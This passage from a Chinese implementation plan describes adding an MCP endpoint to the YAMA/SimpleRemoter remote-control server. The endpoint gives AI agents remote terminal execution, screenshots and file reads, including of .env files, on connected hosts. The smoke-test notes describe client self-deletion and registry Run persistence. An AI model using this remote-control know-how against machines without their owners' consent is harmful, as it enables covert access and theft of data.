设计文档 §3.2 要求"复用 `web/audit_query.go` 的查询器",§10 又要求"`mcp` 不 import `web`"。
|
||||
两者冲突:查询器 `queryAuditLog` 及其类型/过滤/时间解析全是 `web` 包私有(`web/audit_query.go:158-328`)。
|
||||
|
||||
| 方案 | 做法 | 代价 |
|
||||
|---|---|---|
|
||||
| **A(推荐)** | 新增 `server/go/auditquery` 包,把 `queryAuditLog` + `auditQueryRequest/Result` + `auditRecordMatches` / `auditEventFilterMatches` / `auditStringField` / `parseAuditTime` / `clamp*` 整体搬过去并导出(`Scan(path string, q Query) (Result, error)`);`web/audit_query.go` 只留 handler 与回包整形 | 搬移 + `web/audit_query_test.go`(294 行)机械改调用名;依赖方向保持不变 |
|
||||
| B | `mcp` 自己实现一个精简扫描器(keyword/type/limit/offset) | 少动 `web`,但审计格式一旦变就有两份实现 |
|
||||
| C | `mcp` import `web` | 破环:`web → mcp` 已存在(`WithMCP`),反向成环直接编译失败 |
|
||||
|
||||
**已确认:采用 A**。M2 的第一步就是搬包,`go test ./web/...` 全绿后再写工具。
|
||||
|
||||
### 1.2 版本号与提交号注入(阻塞 M2 的 `get_server_status`)
|
||||
|
||||
`cmd/main.go` 目前没有版本常量(全文件 grep 不到)。**已确认**的做法:
|
||||
|
||||
- 新增 `server/go/buildinfo`,只放 `var Version, Commit string`(零值空串)+ `Snapshot()`。
|
||||
不塞 `main`:`mcp` 不能依赖 `main`,也不该为两个字符串在装配链上多传两层。
|
||||
- 注入:`-X github.com/yuanyuanxiang/SimpleRemoter/server/go/buildinfo.Version=…`,同样注入 `.Commit`。
|
||||
取值 `Version=$(git describe --tags --always --dirty)`、`Commit=$(git rev-parse --short HEAD)`
|
||||
(现在是 `v1.4.2-72-g425d737-dirty` / `425d737`)。
|
||||
- `build.ps1`:Debug/Release **都**拼 `-X`(Debug 只是不剥符号);`Makefile` 的 `LDFLAGS`
|
||||
用 `$(shell git …)` 同步。
|
||||
- 取不到(无 git、源码包构建)就保持空串,`get_server_status` 原样返回空串,**不伪造**。
|
||||
- Windows 资源同步:`cmd/winres/winres.json` 里的版本号改成占位,构建前跑
|
||||
`go-winres make --in cmd/winres/winres.json --out cmd/rsrc --product-version git-tag --file-version git-tag`
|
||||
(实测会把 manifest identity / FileVersion / ProductVersion 三处一起覆盖成 `1.4.2`);
|
||||
`go-winres` 不存在时警告并跳过。`server/go/cmd/*.syso` 加进 `.gitignore`,不再出现在
|
||||
`git status` 里。文件属性 = 干净 tag,运行时 `version` = `git describe` 全串,各司其职。
|
||||
|
||||
### 1.3 工具 schema 用哪一份(阻塞 M2/M5/M6/M7)
|
||||
|
||||
设计文档 §3.2 给的参数集与 `mcp/tools.json`(MFC 现网 schema)**并不完全一致**:
|
||||
|
||||
| 工具 | 设计文档 §3.2 | `mcp/tools.json` 实际 |
|
||||
|---|---|---|
|
||||
| `list_hosts` | `group` `name` `online_only` `limit` `offset` | `client_type` `group` `include_offline` `ip` `limit` `name` `offset` `online` `os` `query` |
|
||||
| `get_host_detail` | `id` | `id` `ids` |
|
||||
| `get_audit_log` | `keyword` `type` `since` `limit` `offset` | `keyword` `limit` `offset` `type` |
|
||||
| `get_screenshot` | `id` `max_width` | `id` `max_width` `height` `hwnd` `mode` `monitor` `width` `x` `y` |
|
||||
| `terminal_exec` | 一致 | 一致 |
|
||||
| `terminal_close` | `session_id` | `id` `session_id` |
|
||||
| `list_files` | `id` `path` `limit` | `id` `ids` `limit` `offset` `path` |
|
||||
| `read_file` | `id` `path` `offset` `limit` `encoding` | 同 + `max_bytes` |
|
||||
|
||||
设计文档自称"全部命名、参数、错误码与 MFC 对齐",实际只有 naming 与错误码对齐。
|
||||
**已确认:`mcp/tools.json` 是唯一契约**——`name` / `description` / `inputSchema` /
|
||||
`outputSchema` 和工具顺序都按它来(`verify_tools.py:12` 的比对口径)。
|
||||
|
||||
- 9 个工具的这四份字段由 `tools/mcp_tools/gen_go_tools.py` 从 `mcp/tools.json` 抽取(保持相对顺序),
|
||||
写到 `server/go/mcp/tools_minimal.json`,Go 侧 `//go:embed` 原样回 `tools/list`;脚本支持
|
||||
`--check`(子集与抽取结果不等则非零退出),加一个 Go 单测锁名字与顺序。
|
||||
- `tools.json` 里没有 `annotations`,MFC 也不发,Go 不发(M1 的测试相应改为"不带 annotations")。
|
||||
- 输出按对应 `outputSchema` 的字段名组装,**不套用设计文档 §3.2 的自造形状**。
|
||||
|
||||
| 参数 | Go 侧处理 |
|
||||
|---|---|
|
||||
| `list_hosts` 全部 10 个 | 全部实现(`DeviceInfo` 上做字符串过滤,成本可忽略) |
|
||||
| `get_host_detail.ids` | 实现批量(≤50),按 `outputSchema` 的 `{tool,total,succeeded,failed,skipped,results[]}` 汇总 |
|
||||
| `get_audit_log` | `keyword` / `type`(映射 `auditquery.Event`)/ `limit` / `offset`;**没有 `since`**(MFC 的 schema 里就没有) |
|
||||
| `get_screenshot` 的非整屏参数 | `mode=region/window/monitor` 或 `hwnd/x/y/width/height` 任一出现 → `-32005`,报文点名参数并说明需要 `CLIENT_CAP_SCREEN_REGION` 扩展请求;不静默忽略 |
|
||||
| `get_screenshot.max_width` | 钳制 `[64,1920]`(schema 与 `McpServer.cpp:3386` 一致);缺省/0 → Go v1 固定 1024(没有 MFC 的 RTT 自适应档位) |
|
||||
| `terminal_close.id` | 必需;用于定位设备,`session_id` 用于匹配会话 |
|
||||
| `list_files` 的 `id/ids/path/limit/offset` | 全部实现;`offset` 是服务端在完整列表上做窗口裁剪;批量走 results 汇总 |
|
||||
| `read_file` 的语义 | **行语义**:`offset` 起始行(负数=末尾 N 行)、`limit` 行数、`max_bytes` 字节上限;`encoding` 支持 `auto/utf-8/gbk/gb18030/latin1` |
|
||||
| 输出字段 | `list_hosts` → `hosts/total/totalAll/limit/offset/hasMore`;`list_files` → `files`(不是 `entries`)/`drives`;`get_host_detail.capabilities` → `screenPreview/screenRegion/windowInfo/fileTransferV2/c2cPaths/registry/remoteControl/platform`;`read_file` → `encoding/eol/lines_total/lines_returned/sha256/size/text/truncated` |
|
||||
| hub 没有的字段 | `authStatus/tls/location/install_time` 不伪造、直接不给(`outputSchema` 只强制 `hosts`);`remark` 来自 Web 控制台备注表(`DeviceNotes`),有则填、无则省略 |
|
||||
|
||||
`read_file` 的整文件下载仍受 `YAMA_MCP_READ_MAX`(2 MiB)硬门约束,超过 → `-32602`(schema 描述同款口径)。
|
||||
|
||||
### 1.4 测试环境与"真机"路径(阻塞 M4 起的全部验收)
|
||||
|
||||
**已确认并已由 M0 实测**(详见 §4.3):本机真客户端用 **`x64\Debug\ghost.exe`**,
|
||||
`TestRun.exe` 不可用(依赖 `ServerDll.dll` 内存加载;Release 版从非安装路径启动会走安装
|
||||
流程并自删)。Go 服务端默认 **trial** 签名即可,客户端已上线;屏幕/文件能力是否解锁
|
||||
在 M5/M6 实测(`YAMA_LICENSE_DISABLED=1` 的 NoOp 会让客户端拒绝这两类功能,不要用于
|
||||
M5 之后的验收)。
|
||||
|
||||
### 1.5 只读模式下的工具集合(阻塞 M8)
|
||||
|
||||
`YAMA_MCP_READONLY=1` 时 `tools/list` 只出 7 个。`--subset` 必须支持"期望集合 7 或 9"两种,
|
||||
由环境变量或 `--readonly` 参数决定;不能写成硬编码 9。
|
||||
|
||||
---
|
||||
|
||||
## 2. 里程碑与提交边界
|
||||
|
||||
| 里程碑 | 提交标题(建议) | 设计文档 § | 依赖 | 完成定义(可验收) | 预估 |
|
||||
|---|---|---|---|---:|
|
||||
| M1 | `Feature(Go): MCP endpoint with bearer auth and tools/list` | §4、§3.1 | — | `curl` 打通 initialize/ping/tools/list;错误令牌 401;GET 405;通知 204 | 6h |
|
||||
| M2 | `Feature(Go): four local MCP read tools and a shared audit query package` | §3.2、§1.1 | M1 | 4 个工具返回真实数据;`go test ./web/...` 与新增用例全绿 | 10h |
|
||||
| M3 | `Feature(Go): per-device locks, concurrency cap and MCP audit trail` | §9、§4.4 | M1 | 并发调用返回 -32003;每次调用一条 `mcp.tool.call` | 4h |
|
||||
| M4a | `Feature(Go): MCP terminal sessions with a ring buffer` | §6.1-§6.3 | M3 | 会话表 + 订阅 + 缓冲;浏览器开终端时 MCP 返回 -32003 | 6h |
|
||||
| M4b | `Feature(Go): terminal_exec with sentinel cleaning and polling` | §6.4-§6.6 | M4a | 20 条连续命令零失败;超时后轮询取回完整输出 | 8h |
|
||||
| M4c | `Feature(Go): terminal_close, idle sweep and legacy-client guard` | §6.2、§6.7 | M4b | 关闭幂等;空闲 180s 回收;非 PTY 返回 -32005 | 2h |
|
||||
| M5 | `Feature(Go): get_screenshot over the maintenance-free preview RPC` | §7 | M3 | Windows/Linux 各出一张图;BGRX 分支有单测 | 6h |
|
||||
| M6 | `Feature(Go): list_files over the file-manager sub-connection` | §5.3、§8.1 | M3 | 盘符/目录/错误三种路径;老客户端超时有明确 message | 8h |
|
||||
| M7 | `Feature(Go): read_file over the V2 stream receiver` | §5.4、§8.2-§8.3 | M6 | `.env` 字节一致且 SHA-256 匹配;路径穿越全部拒收 | 10h |
|
||||
| M8 | `Feature(Go): verify_tools --subset and MCP deployment docs` | §10、§4.2 | M1 | 9(或 7)个工具的 schema/description 与 `tools.json` 严格一致 | 3h |
|
||||
|
||||
M4 拆成三个提交是因为它占全量工作量的 1/4,一次提交无法审查;其余里程碑按设计文档
|
||||
§11 的 10 个施工序合并(§11 的 3 并进 M3,4/5/6 并成 M4a/b/c,7 是 M5,8 是 M6,9 是 M7,10 是 M8)。
|
||||
|
||||
---
|
||||
|
||||
## 3. 里程碑细则
|
||||
|
||||
### M1 骨架与鉴权(设计 §4)
|
||||
|
||||
**新增文件**
|
||||
|
||||
```
|
||||
server/go/mcp/server.go // Config、Server、New、Enabled、Handle、Close
|
||||
server/go/mcp/jsonrpc.go // 请求/响应结构、错误对象、批量拒绝
|
||||
server/go/mcp/tools.go // //go:embed tools_minimal.json,tools/list 原样返回
|
||||
server/go/mcp/tools_minimal.json // gen_go_tools.py 从 mcp/tools.json 抽取的 9 个工具
|
||||
server/go/mcp/errors.go // -32001…-32602 常量与 message 模板
|
||||
tools/mcp_tools/gen_go_tools.py // 抽取脚本,--check 模式供验收
|
||||
```
|
||||
|
||||
**实现要点**
|
||||
|
||||
1. `Config` 从环境变量读全(`cmd/main.go` 解析后传入,`mcp` 包不直接读 env):
|
||||
`Token` / `Readonly` / `TermIdle` / `MaxConcurrency` / `ReadMax`。
|
||||
2. `Handle` 分支表:`POST` 之外一律 `405`(带 `Allow: POST`);无 `id` 的通知 `204`;
|
||||
数组入参 `-32600`;未知 `method` `-32601`;`tools/call` 未知工具名 `-32601`。
|
||||
3. 鉴权:`subtle.ConstantTimeCompare`,长度不等直接失败;缺令牌 → `401` +
|
||||
`WWW-Authenticate: Bearer realm="mcp"`,不带 JSON-RPC 体(规范要求传输层失败)。
|
||||
4. 体积:`http.MaxBytesReader(w, r.Body, 8<<20)`,超限 `413`。
|
||||
5. `initialize` 回 `protocolVersion=2025-06-18`、`capabilities.tools={listChanged:false}`、
|
||||
`serverInfo={name:"yama", version:<build>}`、`instructions=<Go 后端差异说明>`。
|
||||
`serverInfo.name` 与 MFC 一致,Go 差异只写 `instructions`——避免客户端按 name 分叉。
|
||||
6. 路由注册:`web/server.go` 加 `WithMCP`,`Start()` 里
|
||||
`if s.mcp != nil && s.mcp.Enabled() { mux.HandleFunc("/mcp", s.mcp.Handle) }`,
|
||||
否则打一行 `MCP endpoint disabled: YAMA_MCP_TOKEN not set`。
|
||||
7. `cmd/main.go`:在 `web.New(...)` 之前构造 `mcpSrv`,再 `.WithMCP(mcpSrv)` +
|
||||
`handler.mcp = mcpSrv`(`MyHandler` 加字段);`mcp` 只依赖 `hub`/`protocol`/`devicehistory`/`logger`。
|
||||
|
||||
**测试**(`mcp/server_test.go`,`httptest` + fake hub)
|
||||
|
||||
- 令牌:正确 / 错误 / 长度不同 / 缺失 → 200 / 401 / 401 / 401。
|
||||
- 方法:`initialize`、`ping`、`tools/list`、`notifications/initialized`(204)、未知方法(-32601)。
|
||||
- 形态:批量数组 → -32600;GET/DELETE → 405;超大体 → 413。
|
||||
- `tools/list`:数目与 `Readonly` 相符;工具定义与 `tools_minimal.json` 逐字一致且顺序不变
|
||||
(无 `annotations`,与 MFC 一致)。
|
||||
|
||||
**验收命令**
|
||||
|
||||
```bash
|
||||
cd server/go
|
||||
go build ./... && go test ./mcp/...
|
||||
curl -s -X POST localhost:18090/mcp -H "Authorization: Bearer $YAMA_MCP_TOKEN" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
|
||||
```
|
||||
|
||||
### M2 本机只读四工具(设计 §3.2)
|
||||
|
||||
**改动**
|
||||
|
||||
1. 先做 §1.1 的 `auditquery` 抽包:搬移 → `web` 改调用 → `go test ./web/...` 全绿。
|
||||
2. 新增 `mcp/tools_local.go`:
|
||||
- `list_hosts`:`hub.ListDevices()` + `history.Offline(onlineSet)` 合并;`include_offline`
|
||||
决定是否并入历史;`online/ip/os/group/name/client_type/query` 全为过滤(`name`/`query`
|
||||
大小写不敏感子串);按 `outputSchema` 返回 `{hosts,total,totalAll,limit,offset,hasMore}`,
|
||||
host 字段按 schema 命名组装,hub/历史里确有的 `location/install_time/screen/version` 照填,
|
||||
两边都没有的 `authStatus/tls` 不伪造;`remark` 来自 Web 控制台备注表(`DeviceNotes`,
|
||||
有则填、无则省略),沿用 `name`/`query` 的过滤口径。
|
||||
- `get_host_detail`:`id` 或 `ids`(≤50,批量走 `{tool,total,succeeded,failed,skipped,results[]}`);
|
||||
`capabilities{screenPreview,screenRegion,windowInfo,fileTransferV2,c2cPaths,registry,remoteControl,platform}`
|
||||
(`protocol.SupportsCap` 逐位)——**不含 `v2`**(恒真,列出来误导)。
|
||||
- `get_server_status`:按 `outputSchema` 的字段名组装,Go 只填能如实取到的
|
||||
`version / uptime_sec / hosts / sessions / port / bind`(其余 MFC 专有字段不给);
|
||||
`version` 取 `buildinfo`(§1.2),`uptime_sec` 用 `mcp.Config.StartedAt`,`commit`
|
||||
只进日志,不塞进 schema 未定义的返回字段。
|
||||
- `get_audit_log`:`auditquery.Scan`;`type` 映射事件过滤;无 `since`。
|
||||
3. `buildinfo` 包 + `build.ps1` / `Makefile` 的 `-X` + winres 重建(§1.2)。
|
||||
|
||||
**测试**(`mcp/tools_local_test.go`)
|
||||
|
||||
- `devicehistory.New(t.TempDir()+"/devices.json", 10, log)` + `hub.Register` 造 3 台在线、2 台历史
|
||||
离线;断言过滤/分页,以及 `total`(命中数)、`totalAll`(过滤前)、`hasMore` 三者分离。
|
||||
- `get_host_detail` 的能力位:给一个 capability 串(含/不含 `0x0004`)两种。
|
||||
- `get_audit_log`:用 `logger.Audit` 写临时文件后查询(`auditquery` 的用例在搬包时一并迁)。
|
||||
|
||||
### M3 锁、并发与审计(设计 §9、§4.4)
|
||||
|
||||
**新增** `mcp/lock.go`、`mcp/audit.go`。
|
||||
|
||||
1. 设备锁:`map[string]*sync.Mutex` + `TryLock`,占用即 `-32003`,message 带占用工具名与
|
||||
已持续时长(`since` 记录在持锁结构里)。
|
||||
2. 全局信号量:`chan struct{}` 容量 `MaxConcurrency`,`TryAcquire` 失败 `-32003`。
|
||||
3. 审计:每次 `tools/call` 一条 `log.Audit("mcp.tool.call", …)`,字段
|
||||
`actor=mcp role=admin source=mcp tool device ok code ms args=<首词+长度> result=<体积摘要>`;
|
||||
**不记命令全文**(进 debug 日志)。HTTP `r.Context()` 取消同样走 defer 释放锁。
|
||||
|
||||
**测试**:并发两个同设备调用 → 第二个 -32003;`close(cancel)` 后锁被释放;审计行字段齐全
|
||||
(读临时审计文件断言)。
|
||||
|
||||
### M4a 终端会话(设计 §6.1-§6.3)
|
||||
|
||||
**新增** `mcp/session.go`(会话表 + 空闲回收)、`mcp/term.go`(环形缓冲 + 哨兵检测骨架)。
|
||||
|
||||
1. `mcp.Server` 实现 `hub.EventHandler` 全接口(`OnDeviceOnline/Offline/Update`、
|
||||
`OnScreenFrame`、`OnResolutionChange`、`OnCursorChange`、`OnClipboardText`、
|
||||
`OnTerminalReady/Data/Closed`),只有终端三个方法做事,其余空实现;
|
||||
`cmd/main.go` 里 `deviceHub.Subscribe(mcpSrv)`,退出时 `hub.Unsubscribe` + `Close()`。
|
||||
2. `OnTerminalData` 在 TCP 读循环上执行,**必须不阻塞**:只做"查会话 → 追加环形缓冲 →
|
||||
剥 4 字节 `TRM1` 前缀 → 哨兵扫描 → `sync.Cond` 唤醒",任何长操作都不允许(设计 §6.3)。
|
||||
非 MCP 会话的设备直接丢弃(零开销)。
|
||||
3. 环形缓冲 256 KiB + `base/total/delivered` 绝对偏移;溢出丢最旧并累计 `droppedBytes`。
|
||||
4. 会话表 key 用 `deviceID`;`session_id` 为 `"s-"+6hex`;对外只暴露 `session_id`。
|
||||
|
||||
**测试**:`hub.PublishTerminalData` 灌 1 MB → 缓冲不涨、`truncated` 语义正确;关闭后释放;
|
||||
浏览器(另建一个订阅者 `OpenTerminalSession`)占用时 `OpenSession` 返回 busy。
|
||||
|
||||
### M4b `terminal_exec` 执行与轮询(设计 §6.4-§6.6)
|
||||
|
||||
1. 打开:`hub.OpenTerminalSession(deviceID)`;`ErrTerminalBusy` → `-32003`;等
|
||||
`OnTerminalReady`(带超时 → `-32001`);非 PTY → `-32005`(M4c 收紧)。
|
||||
2. 下发:行尾按 `isPTY`/平台(设计 §6.4 的表);`hub.SendToTerminal`。
|
||||
3. 清洗三段**整体移植**:`StripEchoedInput` → `StripAnsi` → `StripSentinelText`
|
||||
(对应 MFC `McpServer.cpp:3946-4040`),顺序不可换。Go 侧用表驱动单测锁住行为。
|
||||
4. 等待与交付:`done`/`closed`/超时三分支;超时**不销毁会话**,`delivered` 游标支持
|
||||
`terminal_exec` 不带 `command` 的轮询;`max_output_bytes` 按行截断(保留换行)并置
|
||||
`truncated`(防止把 UTF-8/GBK 多字节字符切坏)。
|
||||
5. 返回体:`{session_id, output, exit_code?, done, offset, truncated, is_pty, reused}`。
|
||||
|
||||
**单测**(表驱动,样例来自 MFC 实测)
|
||||
`rem hello`、`cmd /c echo abc`、`type .env`、SPAM 循环、`ping -n 30` 超时后轮询、
|
||||
`cmd /\c` 折行回显、退出码 0/1 与非 PTY 单行哨兵。
|
||||
|
||||
**集成**(假设备,§4.2):模拟 `TOKEN_TERMINAL_START` → 输出 → 哨兵,断言 `exit_code`。
|
||||
|
||||
### M4c 关闭、回收与老客户端(设计 §6.2、§6.7)
|
||||
|
||||
1. `terminal_close`:**幂等**(会话不存在也 200);只关 MCP 自己创建的会话(`hub.CloseTerminalSession`
|
||||
只有在会话表里有该设备且 `hub.TerminalIsPTY` 一致时才调用,避免误关浏览器会话——实现上
|
||||
以"会话表命中"为准)。
|
||||
2. 在途命令被 `terminal_close` 撞上:对齐 C++ 的 `waiters` 教训(`McpServer.cpp:12611`)——
|
||||
置 `closed` 唤醒等待者交付剩余缓冲,无等待者则立即擦会话并 `CloseTerminalSession`。
|
||||
3. 空闲回收 ticker 30s 扫一次,`lastUsed > TermIdle` 关闭;`Close()` 关掉全部会话。
|
||||
4. 非 PTY(`TOKEN_SHELL_START`)→ `terminal_exec` 直接 `-32005`,message 写明"该客户端版本
|
||||
不支持 PTY 会话"。不支持 shell 的客户端不设能力门,超时文案带一句提示(设计 §6.7)。
|
||||
|
||||
**测试**:closing 幂等;关闭后立刻重开 <1s;空闲回收(把 `TermIdle` 调成 100ms);
|
||||
在途关闭与无等待者两条分支(各一个用例)。
|
||||
|
||||
### M5 `get_screenshot`(设计 §7)
|
||||
|
||||
**新增** `mcp/screen.go`;`protocol/commands.go` 加 `CommandScreenPreviewReq=247`、
|
||||
`TokenScreenPreviewRsp=248`;`cmd/main.go` `OnReceive` 加两个 case 转 `mcp.OnPacket`。
|
||||
|
||||
1. 请求表 `map[deviceID]*pendingPreview{reqID uint16; ch chan []byte}`,
|
||||
`reqID` 用 `atomic.Uint32` 取低 16 位;**响应 reqID 不匹配直接丢弃**(对齐 MFC
|
||||
`TakePreviewResponse`)。
|
||||
2. 能力门:缺 `protocol.ClientCapScreenPreview` → `-32005`。
|
||||
3. 8 字节请求体;`max_width` 钳制 `[64,1920]`、缺省/0 → 1024;`jpegQuality` 固定 80。
|
||||
4. 响应:`status != 0` → 1/2 `-32000`、3 `-32005`、4 `-32602`;`format=0` 直接返回 JPEG,
|
||||
`format=3`(BGRX)→ 先 `image.RGBA` 再 `jpeg.Encode`;`bytes != w*h*4` 视为畸形包 `-32000`。
|
||||
5. 超时 8s,超时删表项,**不 CancelIO**(主连接 RPC,MFC 同款)。
|
||||
6. 返回 `content[]` 一项 `image`(base64 JPEG)+ `structuredContent{width,height,bytes,format,source}`。
|
||||
|
||||
**测试**:JPEG 魔数(`FF D8 FF`)、BGRX→JPEG 像素抽样、reqID 错包被丢弃、status 映射、
|
||||
超时。
|
||||
|
||||
### M6 `list_files`(设计 §5.3、§8.1)
|
||||
|
||||
**新增** `mcp/filemgr.go`;`protocol` 加 `CommandListDrive=1`、`CommandListFiles=2`、
|
||||
`TokenDriveList=103`、`TokenFileList=104`、`TokenFileListError=171`(**加一个常量唯一性单测**:
|
||||
新值不得与既有 `protocol` 常量重复,`103/104` 紧邻 `TOKEN_LOGIN=102`,值写错会吃主连接登录包)。
|
||||
|
||||
1. 主连接 `hub.SendToDevice(dev, []byte{CommandListDrive})`;等文件子连接:在
|
||||
`OnReceive` 顶部(终端 short-circuit 之后)先喂 `mcp.OnPacket(ctx, data)`,`mcp` 按
|
||||
`ctx.GetInfo().ClientID` 找到 pending 请求并**记住 ctx**(后续 `COMMAND_LIST_FILES` 要用它)。
|
||||
2. `TOKEN_DRIVE_LIST` 到达后**不关子连接**,同一 ctx 下发 `[CommandListFiles][path\0]`;
|
||||
`TOKEN_FILE_LIST` / `TOKEN_FILE_LIST_ERROR` 才收尾。
|
||||
3. 解析按设计附录 A;`attr & 0x10` 判目录;文件名 `protocol.DecodeClientString(data, capability, "")`。
|
||||
4. 错误映射:`win32err ∈ {2,3}` → `-32009`;`5` → `-32010`;其它 → `-32000`。
|
||||
老客户端无 `TOKEN_FILE_LIST_ERROR` → 超时;message 提示"路径可能不存在,先列目录确认"。
|
||||
5. 收尾:`COMMAND_BYE` → 500ms → `ctx.Close()`(`hub` 同款优雅关闭)。
|
||||
|
||||
**测试**:盘符/文件/错误三种黄金字节(照 MFC `ParseDriveList`/`ParseFileList` 的样例抓真实包,
|
||||
存为 `testdata/*.bin`);`offset/limit` 语义;客户端中途断开 → `-32001` 且 pending 表被清。
|
||||
|
||||
### M7 `read_file`(设计 §5.4、§8.2-§8.3)
|
||||
|
||||
**新增** `mcp/filev2.go`;`protocol` 加 `CommandSendFileV2=85`、`CommandFileCompleteV2=91`、
|
||||
`CmdDownFilesV2=94`;`cmd/main.go` 加两个 case。
|
||||
|
||||
1. 流程:列盘(复用 M6 的子连接)→ 同一子连接发 `[CmdDownFilesV2][targetDir\0][path\0][\0]`
|
||||
→ 服务端关掉文件子连接 → 客户端建 V2 子连接(`ConnAuth` 已钉 `ClientID`)→
|
||||
`COMMAND_SEND_FILE_V2 × N` → `COMMAND_FILE_COMPLETE_V2`。
|
||||
2. `targetDir := os.MkdirTemp("", "yama-mcp-read-*")`,`defer os.RemoveAll`。
|
||||
3. **大小门**:首个 chunk 的 `fileSize` 超 `ReadMax` → 立即中止、删目录、`-32602`
|
||||
(不要先落盘再报错)。
|
||||
4. **路径校验**(安全,必须单测):`filepath.Clean(filepath.Join(targetDir, FromSlash(name)))`
|
||||
+ `filepath.Rel` 判越界;另拒 NUL / 换行;`name` 允许客户端回填为相对路径。
|
||||
5. SHA-256 校验(完成包 32 字节)→ 编码判定(BOM → `utf8.Valid` → 回退
|
||||
`simplifiedchinese.GBK`,`latin1` 逐字节)→ 按行切分并取
|
||||
`offset`/`limit`/`max_bytes` 窗口 → 返回
|
||||
`{path,size,encoding,eol,lines_total,offset,lines_returned,truncated,text,sha256}`。
|
||||
6. 超时/断流:`-32001`;工具描述写明"超时可能是不支持 V2 的旧客户端"(设计 R3)。
|
||||
|
||||
**测试**:路径穿越用例集(`../x`、`..\\..\\x`、绝对路径、UNC、混合分隔符、`a/../../b`);
|
||||
大小门;SHA 不符;GBK 文件;负 offset;`transferID` 不匹配的迟到 chunk 被丢弃。
|
||||
|
||||
### M8 校验工具与文档(设计 §10)
|
||||
|
||||
1. `verify_tools.py --subset <tools.json> [token] [port] [--readonly]`:
|
||||
抓 Go 服务端 `tools/list`,与 `tools.json` 同名工具逐字段比 `description` / `inputSchema` /
|
||||
`outputSchema`(与 `verify_tools.py` 的 `FIELDS` 口径一致);名字集合必须恰好等于
|
||||
期望的 9(或 7),多一个少一个都失败。
|
||||
2. 同批更新:`deploy/yama-server.env.example` 加 `YAMA_MCP_TOKEN` / `YAMA_MCP_READONLY` /
|
||||
`YAMA_MCP_TERM_IDLE` / `YAMA_MCP_MAX_CONCURRENCY` / `YAMA_MCP_READ_MAX`;
|
||||
设计文档状态改"已实施"。
|
||||
|
||||
---
|
||||
|
||||
## 4. 测试与验证
|
||||
|
||||
### 4.1 三档测试
|
||||
|
||||
| 档 | 跑什么 | 覆盖 | 何时跑 |
|
||||
|---|---|---|---|
|
||||
| 1 纯函数单测 | 清洗三段、哨兵、环形缓冲、解析器、路径校验、schema 校验、JSON-RPC | 全部逻辑分支 | 每次提交 |
|
||||
| 2 假设备集成(进程内) | 真 `hub` + 假设备 ctx + `httptest` 的 `/mcp` | 九工具端到端、并发、取消、审计 | 每次提交 |
|
||||
| 3 真客户端 smoke | `x64\Debug\ghost.exe`(§4.3)或 Linux ghost → 本机 Go 服务端 | 真实 PTY/文件/截屏链路 | 每个里程碑收尾 + 整体验收 |
|
||||
|
||||
档 2 是主力:不依赖网络、可在 CI 跑,且能精确控制入站包的字节。
|
||||
|
||||
### 4.2 假设备 harness(`mcp/harness_test.go`)
|
||||
|
||||
```go
|
||||
h := hub.New()
|
||||
sent := make(chan []byte, 16) // 出站包,带缓冲 channel 避免数据竞争
|
||||
h.SetSender(func(ctx *connection.Context, data []byte) error {
|
||||
sent <- append([]byte(nil), data...); return nil
|
||||
})
|
||||
cfg := logger.DefaultConfig(); cfg.Level = logger.LevelError
|
||||
mcpSrv := mcp.New(mcpCfg, h, history, logger.New(cfg))
|
||||
unsubscribe := h.Subscribe(mcpSrv) // Subscribe 返回退订闭包(hub 没有 Unsubscribe 方法)
|
||||
ts := httptest.NewServer(http.HandlerFunc(mcpSrv.Handle))
|
||||
// 假设备:拿到 sent 里的 COMMAND_SHELL 后,模拟回 TOKEN_TERMINAL_START 与输出:
|
||||
mcpSrv.OnPacket(devCtx, append([]byte{protocol.TokenTerminalStart}, ...))
|
||||
h.PublishTerminalData(devID, []byte("hello\r\n__MCP_DONE_ab12cd__0\r\n"))
|
||||
```
|
||||
|
||||
要点:
|
||||
- 造设备:`h.Register(&hub.Device{ID:"dev", PeerIP:"10.0.0.1"}, devCtx)`;
|
||||
`devCtx` 的 `Info.ClientID` 按子连接需要设置(模拟 `handleConnAuth` 的钉值)。
|
||||
- `sent` 用带缓冲 channel(上面写法),测试里 `select` 带超时地读,不 sleep。
|
||||
- 收尾:`defer unsubscribe()` + `defer mcpSrv.Close()`;再断言没有残留会话
|
||||
(`mcpSrv.SessionCount()==0`,为此在会话表上留一个只读访问器给测试用)。
|
||||
|
||||
### 4.3 真客户端 smoke(M0 已实测,2026-11-12)
|
||||
|
||||
**结论:Windows 真客户端用 `x64\Debug\ghost.exe`,`TestRun.exe` 不可用。**
|
||||
|
||||
- `test.cpp` 用 `MemoryDllRunner` 加载同目录的 `ServerDll.dll`(`client/test.cpp:448`);
|
||||
没有它时静默每 3 秒重试,Go 侧也没有这条内存 DLL 链路。
|
||||
- Release `TestRun.exe` 从非安装路径启动时 `RegisterStartup()` 返回 0 → `self_del()`
|
||||
自删(`client/test.cpp:323-334`);M0 第一次尝试确实删掉了 `release\TestRun.exe`,
|
||||
已用 Release 重建恢复(359936 → 425472 字节)。`-cmd=0` 绕不过安装流程。
|
||||
- Release `ghost.exe` 同样会走安装流程(dst = `%ProgramData%\Windows Ghost\WinGhost.exe`),
|
||||
因此本机测试统一用 Debug ghost:`RegisterStartup` 在 `_DEBUG` 下直接返回 1(`reg_startup.c:413`)。
|
||||
|
||||
**M0 实测记录**:
|
||||
|
||||
- 服务端 `Bin\YamaGo_x64.exe -port 16543 -http-port 18090`(18080 被 python/wslrelay 占用),
|
||||
`YAMA_DEVICES_FILE` 指向临时文件;默认签名模式 **TRIAL**(`https://web.just-do-it.icu:8080`)。
|
||||
- `x64\Debug\ghost.exe 127.0.0.1 16543` → 10 秒内设备上线:
|
||||
`event=device.online computer=A6/default device_id=445427540237756328 os="Windows 11"`,
|
||||
`devices.json` 写入 `first_seen/last_seen`,服务端无错误日志。
|
||||
- 清理:Debug ghost 的 `SetSelfStart` 会在 `HKCU\...\Run` 写一条哈希名,按运行前快照删除新增项;
|
||||
用户既有的 `Client Demo` 计划任务与 `C:\ProgramData\Client Demo\ClientDemo.exe` 未被改动。
|
||||
- 待办:trial 签名下客户端是否解锁屏幕/文件能力,要在 M5/M6 端到端确认
|
||||
(`YAMA_LICENSE_DISABLED=1` 的 NoOp 已知会被客户端拒绝)。
|
||||
|
||||
```powershell
|
||||
cd C:\github\YAMA
|
||||
.\build.ps1 -GoServer -Config Debug
|
||||
$msb = "C:\Program Files\Microsoft Visual Studio\18\Insiders\MSBuild\Current\Bin\MSBuild.exe"
|
||||
